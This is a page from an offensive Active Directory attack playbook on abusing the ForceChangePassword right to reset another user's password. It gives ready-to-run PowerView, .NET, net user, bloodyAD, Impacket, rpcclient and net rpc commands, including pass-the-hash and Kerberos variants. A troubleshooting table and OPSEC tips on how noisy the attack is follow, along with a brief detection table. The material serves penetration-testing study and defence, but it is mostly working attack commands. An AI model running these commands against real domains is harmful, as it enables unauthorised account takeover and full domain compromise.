AD ^: Active Directory

Attack #23 — ForceChangePassword Abuse

ForceChangePassword (also known as User-Force-Change-Password extended right) allows a principal to reset another user's password without knowing their…

advanced updated 2026-08-10 Impacket · PowerShell

🟡 Attack #23 — ForceChangePassword Abuse


📖 How It Works

ForceChangePassword (also known as User-Force-Change-Password extended right) allows a principal to reset another user’s password without knowing their current password. Unlike GenericAll or GenericWrite, this is a single-purpose ACE — it can only reset the password, nothing else. However, if the target is a Domain Admin or service account, one password reset is all you need for full domain compromise.

This right is commonly granted to helpdesk groups, IT support teams, and password reset delegations — and is frequently over-scoped to include privileged accounts.


⚙️ Prerequisites

RequirementDetail
ForceChangePassword/User-Force-Change-Password on targetExtended right in the target user’s DACL
Domain user accountAny authenticated domain user with this right

🛠️ Tools

ToolPlatformNotes
PowerViewWindowsSet-DomainUserPassword — most reliable on-box
Pure .NETWindowsDirectoryEntry.Invoke("SetPassword", ...) — no uploads needed
net userWindowsNative Windows command
bloodyADLinuxset password — LDAP/LDAPS, most reliable from Linux
changepasswd.pyLinuxImpacket — SAMR/RPC/KPASSWD/LDAP, -altuser = right-holder
rpcclient / net rpcLinuxSAMR — often blocked on modern DCs
RSATWindowsSet-ADAccountPassword — only if AD module installed

💻 Full Commands

🔴 Password Reset Exploitation

From Windows (on-box / evil-winrm session)

# ── PowerView (most reliable on-box) ─────────────────────────────────────────
Import-Module .\PowerView.ps1

# These are TWO separate commands — run them one at a time, not pasted together.
# Pasting both lines at once (or chaining with ';' in one paste) can make the
# reset run before $NewPassword exists in the session → "cannot bind argument" errors.

# Command 1: build the SecureString (no output — it just sets the variable)
$NewPassword = ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force

# Command 2: perform the reset using that variable
Set-DomainUserPassword -Identity ssmalls -AccountPassword $NewPassword -Verbose

# One-liner alternative if you must do it in a single line — no variable needed:
Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose

# ── Pure .NET — no PowerView, no RSAT needed ─────────────────────────────────
# Works anywhere .NET runs; talks LDAP directly to the DC as your session user
$entry = New-Object DirectoryServices.DirectoryEntry(
  "LDAP://CN=ssmalls,CN=Users,DC=inlanefreight,DC=local")
$entry.Invoke("SetPassword", "Str0ngpass86!")
$entry.CommitChanges()

# ── net user (native, no uploads at all) ─────────────────────────────────────
net user ssmalls Str0ngpass86! /domain

# ── RSAT ActiveDirectory module (only if RSAT/AD module is installed) ────────
Set-ADAccountPassword -Identity ssmalls -NewPassword (
  ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force
) -Reset

From Linux

# ── bloodyAD — LDAP(S), most reliable from Linux ─────────────────────────────
bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
  --host DC01.inlanefreight.local set password ssmalls 'Str0ngpass86!'

# ── bloodyAD — DC by IP (--host accepts name OR IP) ──────────────────────────
bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
  --host 10.129.229.147 set password ssmalls 'Str0ngpass86!'

# ── bloodyAD — add --dc-ip when --host name won't resolve ────────────────────
bloodyAD -d inlanefreight.local -u low_user -p 'Password1' \
  --host DC01.inlanefreight.local --dc-ip 10.129.229.147 \
  set password ssmalls 'Str0ngpass86!'

# ── bloodyAD — LDAPS if plain LDAP password set is refused ───────────────────
bloodyAD -s -d inlanefreight.local -u low_user -p 'Password1' \
  --host 10.129.229.147 set password ssmalls 'Str0ngpass86!'

# ── Impacket changepasswd.py — SAMR/RPC/KPASSWD/LDAP in one tool ─────────────
# -altuser = YOU (the right-holder), target = the account being reset
changepasswd.py -altuser low_user -altpass 'Password1' \
  -newpass 'Str0ngpass86!' -reset \
  inlanefreight.local/ssmalls@dc01.inlanefreight.local

# ── changepasswd.py — pick a protocol explicitly ─────────────────────────────
changepasswd.py -protocol smb-samr -altuser low_user -altpass 'Password1' \
  -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147
changepasswd.py -protocol ldap -altuser low_user -altpass 'Password1' \
  -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147

# ── changepasswd.py — pass-the-hash as the right-holder ──────────────────────
changepasswd.py -altuser low_user -althash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -newpass 'Str0ngpass86!' -reset inlanefreight.local/ssmalls@10.129.229.147

# ── rpcclient (SAMR) — often BLOCKED on modern DCs, kept for older targets ───
rpcclient -U 'inlanefreight.local/low_user%Password1' 10.129.229.147 \
  -c "setuserinfo2 ssmalls 23 Str0ngpass86!"

# ── net rpc (SAMR) — same caveats as rpcclient ───────────────────────────────
net rpc password ssmalls 'Str0ngpass86!' \
  -U 'inlanefreight.local/low_user%Password1' -S 10.129.229.147

🧭 Which Method When — Troubleshooting

SymptomCauseFix
Access is denied from rpcclient / net rpcSAMR remote calls hardened on Server 2016+ DCsUse bloodyAD or changepasswd.py (LDAP) instead
bloodyAD: unwillingToPerform / strongerAuthRequiredPlain LDAP (389) refuses password writesAdd -s (LDAPS) or use -ss
Set-ADAccountPassword not recognizedRSAT AD module not installedUse PowerView or the pure .NET method
PowerView Set-DomainUserPassword fails on ldap:// bindWrong DN/domain or DC unreachableCheck -Domain / -DomainController flags; verify connectivity
Password “resets” but login failsDomain password policy (complexity/history)Pick a compliant password, e.g. Str0ngpass86!
Reset works but target can’t log in for minutesminPwdAge / replication lag between DCsWait, or pin to the PDC emulator with --host
Right exists but every tool says deniedYou’re querying/abusing the wrong DCForce the DC holding your token: --dc-ip / -DomainController

🩸 bloodyAD — Connection Flags Explained

Every bloodyAD command follows the same pattern: connection flags first, then the action (add, get, set, remove).

bloodyAD [connection flags] <action> <subcommand> [args]
FlagLong formWhat it does
-d--domainDomain for NTLM auth, e.g. -d inlanefreight.local
-u--usernameUsername, e.g. -u low_user
-p--passwordPassword or LMHASH:NTHASH for pass-the-hash
-H--host(required) Hostname or IP of the DC, e.g. --host 10.129.229.147
-i--dc-ipIP of the DC — use when --host is a name that won’t resolve
--dnsIP of a DNS server to resolve AD names (cross-domain work)
-k--kerberosUse Kerberos; can take kdc=..., ccache=..., keytab=...
-f--formatFormat of -p / keyfile: aes, rc4, hex, b64
-c--certificateCert auth (Schannel or PKINIT): "key.pem:cert.pem"
-s--secureLDAP over TLS (-ss simple bind, -sss no signing/CBT)
--gcConnect to the Global Catalog instead of LDAP
-t--timeoutConnection timeout in seconds
# ── Basic: domain + user + password, DC by hostname ──────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  set password targetadmin 'P@ssword123!'

# ── DC by IP: --host accepts the IP directly, no DNS needed ──────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \
  set password targetadmin 'P@ssword123!'

# ── --host by name + --dc-ip: name used for LDAP/Kerberos, IP for connecting ─
# Use when the DC name is needed (Kerberos SPNs, certs) but doesn't resolve.
bloodyAD -d corp.local -u low_user -p 'Password1' \
  --host DC01.corp.local --dc-ip 10.129.229.147 \
  set password targetadmin 'P@ssword123!'

# ── Pass-the-hash: -p takes LMHASH:NTHASH ─────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' \
  --host 10.129.229.147 set password targetadmin 'P@ssword123!'

# ── Kerberos with a ccache ticket ─────────────────────────────────────────────
bloodyAD -k -d corp.local -u low_user --host DC01.corp.local --dc-ip 10.129.229.147 \
  set password targetadmin 'P@ssword123!'
# or point at a specific KDC / ticket file:
bloodyAD -k kdc=10.129.229.147 ccache=/home/kali/low_user.ccache \
  -d corp.local -u low_user --host DC01.corp.local \
  set password targetadmin 'P@ssword123!'

# ── LDAPS (port 636) — needed when LDAP signing/TLS is enforced ───────────────
bloodyAD -s -d corp.local -u low_user -p 'Password1' --host 10.129.229.147 \
  set password targetadmin 'P@ssword123!'

💡 Rule of thumb: -d + -u + -p say who you are; --host says where the DC is (name or IP both work); --dc-ip is the fallback for when the name in --host won’t resolve. -k, -c, -s change how you authenticate/connect.

⚠️ Flag placement matters: all connection flags (--host, --dc-ip, -d, -u, -p, …) must come before the action. Anything after set password <user> <newpass> is parsed as an argument of that subcommand — putting --dc-ip at the end gives error: unrecognized arguments.


🎯 OPSEC Tips

  • Password resets are LOUD — the target user will notice immediately if they can’t log in
  • Event 4724 is generated on every password reset — easy to detect and correlate
  • Consider Shadow Credentials instead if you have GenericWrite — it doesn’t change the password
  • Some accounts have “cannot change password” set — ForceChangePassword bypasses this, but the event is still logged

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4724Security Log (DC)Password reset by a non-helpdesk account targeting a privileged user
4723Security Log (DC)User attempted to change their own password (not relevant here)

🔗 Attack Chain Context

[ForceChangePassword] ──→ Account Takeover via Password Reset

         ├──→ 🔑 Reset DA password → instant domain compromise
         ├──→ ⚠️ Loudest ACL attack — user notices immediately
         ├──→ 🔗 Prefer: Shadow Credentials (#25) if GenericWrite available
         └──→ 💀 Defeated by: monitor 4724, restrict password reset delegation

Attack #23 — ForceChangePassword Abuse complete.